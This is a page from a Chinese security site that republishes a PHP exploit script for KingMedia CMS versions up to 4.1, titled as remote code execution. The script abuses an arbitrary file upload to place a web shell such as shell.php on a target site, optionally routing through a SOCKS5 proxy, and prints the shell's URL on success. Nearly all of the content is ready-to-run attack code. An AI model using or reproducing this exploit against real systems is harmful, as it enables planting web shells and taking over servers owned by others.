首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
KingMedia 4.1 - Remote Code Execution
来源:https://twitter.com/elefr3n 作者:Díaz 发布时间:2018-08-27  
# Exploit Title: KingMedia 4.1 - Remote Code Execution
# Author: Efren Diaz
# Exploit Date: 2018-08-15
# Software: KingMedia
# Version: 1.x, 2.x, 3.x, 4.1
# Link: https://codecanyon.net/item/king-media-video-image-upload-and-share/7877877
# CVE: N/A
 
<?php
// Author: Efren Diaz (elefr3n)
// https://twitter.com/elefr3n
 
echo "--------------------------------------------\n";
echo "KING MEDIA CMS ARBITRARY FILE UPLOAD EXPLOIT\n";
echo "--------------------------------------------\n";
 
if (!isset($argv[2]))
{
    echo "\nUsage: exploit.php <target> <file> <socks5>\n\n";
    echo "  -target: http://site.com/... (required)\n";
    echo "  -file: shell.php (required)\n";
    echo "  -socks5: 127.0.0.1:1337 (optional)\n\n";
} else {
    echo "\nUploading file...\n\n";
 
    $file = $argv[2];
    $target = $argv[1];
 
    $mimeType = image_type_to_mime_type(exif_imagetype($file));
    $cFile = curl_file_create($file, $mimeType, $file);
 
    $post = array(
        'ImageFile'=> $cFile
    );
 
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $target);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array("X-Requested-With: XMLHttpRequest"));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 
    if (isset($argv[3])) {
        curl_setopt($ch, CURLOPT_PROXY, isset($argv[3]));
        curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
    }
    $result=curl_exec($ch);
 
    preg_match_all('/src="(.*)" alt="Resized/i',$result,$uploaded_shell);
 
    if (isset($uploaded_shell[1][0])) {
        echo "PWNED ! :D \n\n{$uploaded_shell[1][0]}\n\n";
    } else {
        echo "Something was bad... str result:\n{$result}";
    }
    curl_close ($ch);
}
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Project64 2.3.2 - Buffer Overf
·Textpad 7.6.4 - Denial Of Serv
·OpenSSH 7.7 - Username Enumera
·UltraISO 9.7.1.3519 - Denial O
·Hikvision IP Camera 5.4.0 - Us
·Easyboot 6.6.0 - Denial Of Ser
·Project64 2.3.2 - Denial Of Se
·Softdisk 3.0.3 - Denial Of Ser
·Easylogin Pro 1.3.0 - 'Encrypt
·CuteFTP 8.3.1 - Denial of Serv
·Prime95 29.4b7 - Denial Of Ser
·StyleWriter 4 1.0 - Denial of
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved